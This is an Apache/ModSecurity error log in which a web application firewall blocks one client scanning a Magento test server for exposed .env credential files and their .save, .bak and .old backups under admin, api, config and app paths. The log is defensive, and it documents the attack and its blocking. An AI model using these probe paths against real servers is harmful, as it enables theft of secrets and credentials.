[Sun Oct 26 01:24:08.385173 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cGNPNphQKiiMCb4eQYwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:08.385426 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cGNPNphQKiiMCb4eQYwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:08.385618 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aP1cGNPNphQKiiMCb4eQYwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:08.990691 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cGNPNphQKiiMCb4eQZAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:08.990940 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cGNPNphQKiiMCb4eQZAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:08.991126 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.save"] [unique_id "aP1cGNPNphQKiiMCb4eQZAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:09.599452 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cGdPNphQKiiMCb4eQZQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:09.599687 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cGdPNphQKiiMCb4eQZQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:09.599952 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cGdPNphQKiiMCb4eQZQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:09.600183 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.bak"] [unique_id "aP1cGdPNphQKiiMCb4eQZQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.205891 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cGtPNphQKiiMCb4eQZgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.206090 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cGtPNphQKiiMCb4eQZgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.206365 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cGtPNphQKiiMCb4eQZgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.206564 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env.old"] [unique_id "aP1cGtPNphQKiiMCb4eQZgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.811847 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cGtPNphQKiiMCb4eQZwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.812094 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cGtPNphQKiiMCb4eQZwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:10.812318 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aP1cGtPNphQKiiMCb4eQZwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:11.424627 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cG9PNphQKiiMCb4eQaAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:11.424873 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cG9PNphQKiiMCb4eQaAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:11.425055 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.save"] [unique_id "aP1cG9PNphQKiiMCb4eQaAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.030241 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cHNPNphQKiiMCb4eQaQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.030454 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cHNPNphQKiiMCb4eQaQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.031462 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cHNPNphQKiiMCb4eQaQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.031647 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aP1cHNPNphQKiiMCb4eQaQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.636893 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cHNPNphQKiiMCb4eQagAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.637083 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cHNPNphQKiiMCb4eQagAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.637326 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cHNPNphQKiiMCb4eQagAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:12.637559 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.old"] [unique_id "aP1cHNPNphQKiiMCb4eQagAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:13.242503 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env, referer: https://www.google.com/
[Sun Oct 26 01:24:13.847606 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:24:14.452657 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:24:15.058211 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:24:15.663877 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cH9PNphQKiiMCb4eQbwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:15.664149 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cH9PNphQKiiMCb4eQbwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:15.664342 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aP1cH9PNphQKiiMCb4eQbwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.269177 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cINPNphQKiiMCb4eQcAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.269436 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cINPNphQKiiMCb4eQcAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.269627 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aP1cINPNphQKiiMCb4eQcAAAAAA"], referer: https://www.google.com/
